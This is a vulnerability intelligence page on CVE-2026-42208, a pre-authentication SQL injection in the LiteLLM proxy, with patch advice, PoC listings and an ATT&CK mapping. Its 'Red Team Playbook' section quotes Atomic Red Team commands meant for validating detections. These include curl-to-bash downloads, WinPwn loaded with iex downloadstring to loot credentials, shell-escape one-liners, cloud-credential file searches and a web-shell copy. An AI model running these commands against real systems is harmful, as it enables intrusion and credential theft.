CVE-2026-42208

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 08/05 Upd 29/06

Overview

This vulnerability is a SQL injection caused by improper handling of user-supplied input in a database query. Specifically, the proxy server component of LiteLLM improperly concatenates the Authorization header value directly into the SQL query string instead of using parameterized queries. The affected feature is the API key verification mechanism within the proxy’s error-handling path that interacts with the backend database.

Vulnerability Description

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter. An unauthenticated attacker could send a specially crafted Authorization header to any LLM API route (for example POST /chat/completions) and reach this query through the proxy's error-handling path. An attacker could read data from the proxy's database and may be able to modify it, leading to unauthorised access to the proxy and the credentials it manages. This issue has been patched in version 1.83.7.

Impact

An unauthenticated attacker can exploit this SQL injection to access and manipulate sensitive data stored in the proxy’s database, including API keys and credentials managed by the proxy. This enables unauthorized access to the proxy service and potentially to downstream LLM API services. No authentication or user interaction is required to trigger the vulnerability, allowing full compromise of the proxy’s data integrity and confidentiality, leading to potential credential theft and service misuse.

Solution

Upgrade LiteLLM to version 1.83.7 or later, where the issue is patched by properly parameterizing database queries during API key validation. Refer to the official BerriAI security advisory at https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc and the release notes at https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable for detailed patch instructions and verification steps.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in LiteLLM arises from improper handling of user-supplied data during database query construction. Specifically, the issue lies in the way the proxy server processes API key checks. Instead of treating the caller-supplied key as a parameter, it is concatenated directly into the query string. This flaw exposes the system to SQL injection attacks, where an attacker can manipulate the Authorization header to inject malicious SQL code. By exploiting this vulnerability, an attacker can bypass authentication checks and gain unauthorized access to sensitive data stored within the proxy's database. The risk is particularly pronounced because the proxy manages credentials and other sensitive information, making it a lucrative target for malicious actors.

Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could craft a malicious request to any LLM API route, such as POST /chat/completions, and include a specially formatted Authorization header. This request would then traverse the proxy's error-handling path, reaching the vulnerable database query. Once the attacker successfully executes the crafted request, they can potentially read sensitive information from the database, including API keys, user data, and other confidential information. Moreover, if the database permissions allow, the attacker might also modify or delete data, further escalating the impact of the breach.

The real-world implications of this vulnerability are significant, particularly for organizations relying on LiteLLM for API management and integration with large language models. Unauthorized access to the proxy's database could lead to data breaches, exposing sensitive information to competitors or cybercriminals. The potential for data manipulation poses additional risks, as attackers could alter API keys or other critical configurations, leading to service disruptions or further exploitation. The business risk is compounded by the potential for reputational damage, regulatory penalties, and loss of customer trust, all of which can have long-lasting effects on an organization’s bottom line.

To detect and mitigate this vulnerability, organizations should implement several strategies. First, upgrading to the patched version of LiteLLM (1.83.7 or later) is crucial to eliminate the inherent flaw in the database query handling. Additionally, employing web application firewalls (WAFs) can help detect and block malicious requests that attempt to exploit this vulnerability. Regular security audits and code reviews should also be conducted to identify similar vulnerabilities in custom implementations or third-party libraries. Furthermore, organizations should adopt a principle of least privilege for database access, ensuring that even if an attacker gains access, their ability to manipulate data is limited.

In conclusion, the vulnerability in LiteLLM represents a serious threat to organizations utilizing this proxy server for API management. The ease of exploitation combined with the potential for significant data exposure and manipulation underscores the importance of proactive security measures. By promptly addressing the vulnerability through updates and implementing robust detection and mitigation strategies, organizations can safeguard their systems against unauthorized access and maintain the integrity of their sensitive data.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2026-42208, accompanied by the emergence of multiple new proof-of-concept exploits publicly available on GitHub. This surge in attacker activity is further underscored by the vulnerability’s recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog, signaling increased recognition of its criticality at the federal level. Our telemetry indicates that exploitation tools are becoming more accessible and automated, lowering the barrier for threat actors to leverage this pre-authentication SQL injection flaw. The vulnerability’s CVSS score has been formally established at 9.8, reflecting its critical severity, and the EPSS score now places it in the upper percentile for likely exploitation, confirming the elevated risk posture. These developments collectively heighten the urgency for defenders to prioritize detection and response capabilities, as the attack surface has expanded rapidly with active exploitation in the wild. The risk assessment for CVE-2026-42208 must be updated to reflect a critical threat level with a high probability of exploitation, increasing the potential for unauthorized data access and manipulation in affected LiteLLM deployments.

Affected Products (1)

Vendor Product Version CPE
litellm Litellm Litellm All cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner
auxiliary/scanner/http/litellm_proxy_sqli
Tencent YunDing Security Lab, Kenneth LaCroix Unknown - View

GitHub PoCs (9)

Repository Author Stars Forks Date Link
0xBlackash/CVE-2026-42208
CVE-2026-40487
0xBlackash 0 1 2026-05-03 View
yendpoint/CVE-2026-42208-LAB
A local lab for studying, reproducing, and verifying the patch for CVE-2026-42208: an unauthenticated SQL injection in L...
yendpoint 0 0 2026-06-18 View
rootdirective-sec/CVE-2026-42208-Lab
rootdirective-sec 0 0 2026-05-10 View
ridhinva/litellm-sqli-scanner
CVE-2026-42208 - LiteLLM SQL Injection vulnerability scanner for BerriAI LiteLLM proxy instances
ridhinva 0 0 2026-05-22 View
HAERIN-L/poc_cve-2026-42208
HAERIN-L 0 0 2026-05-30 View
ridhinva/litellm-scanner
CVE-2026-42208 - LiteLLM SQL Injection vulnerability scanner for BerriAI LiteLLM proxy instances
ridhinva 0 0 2026-05-22 View
imjdl/CVE-2026-42208_lab
CVE-2026-42208 lab
imjdl 0 0 2026-04-28 View
rootdirective-sec/cve-2026-42208-Lab
rootdirective-sec 0 0 2026-05-10 View
Zeltoc/threat-intel-brief-cve-2026-42208-litellm
Threat intelligence brief on CVE-2026-42208, a critical pre-auth SQL injection in BerriAI LiteLLM exploited within 36 ho...
Zeltoc 0 0 2026-05-10 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Considerable activity

Threat Feed

26 events
2026-06-29
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2026-06-24
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2026-06-23
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2026-06-19
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2026-06-15
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2026-05-30
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2026-05-25
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2026-05-23
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2026-05-22
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2026-05-18
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2026-05-13
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2026-05-12
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2026-05-11
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2026-05-10
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2026-05-09
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2026-05-08
Threat Sensor Sighting — Some sightings

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2026-05-08
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-05-06
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-05-03
Threat Sensor Sighting — Few sightings

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2026-05-01
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2026-04-30
Threat Sensor Sighting — Some sightings

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2026-04-29
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-04-28
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-04-28
PoC Published (9 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-04-27
Detected as Exploited in the Wild

Active exploitation confirmed — vendor: BerriAI, product: LiteLLM

2026-04-20
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authorization Bypass
82% authz_bypass
Insecure Direct Object Reference
76% idor
Information Disclosure
60% info_disclosure
SQL Injection
53% sql_injection
Authentication Bypass
48% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-7 Blind SQL Injection
42%
High High
CAPEC-109 Object Relational Mapping Injection
42%
Low High
CAPEC-110 SQL Injection through SOAP Parameter Tampering
40%
High Very High
CAPEC-66 SQL Injection
40%
High High
CAPEC-108 Command Line Execution through SQL Injection
40%
Low Very High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

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References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-42208
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc
github.com
GitHub CVE x_refsource_MISC
https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42208
access.redhat.com
NVD API
https://access.redhat.com/security/cve/CVE-2026-42208
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NVD API
https://bugzilla.redhat.com/show_bug.cgi?id=2463965
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NVD API
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42208.json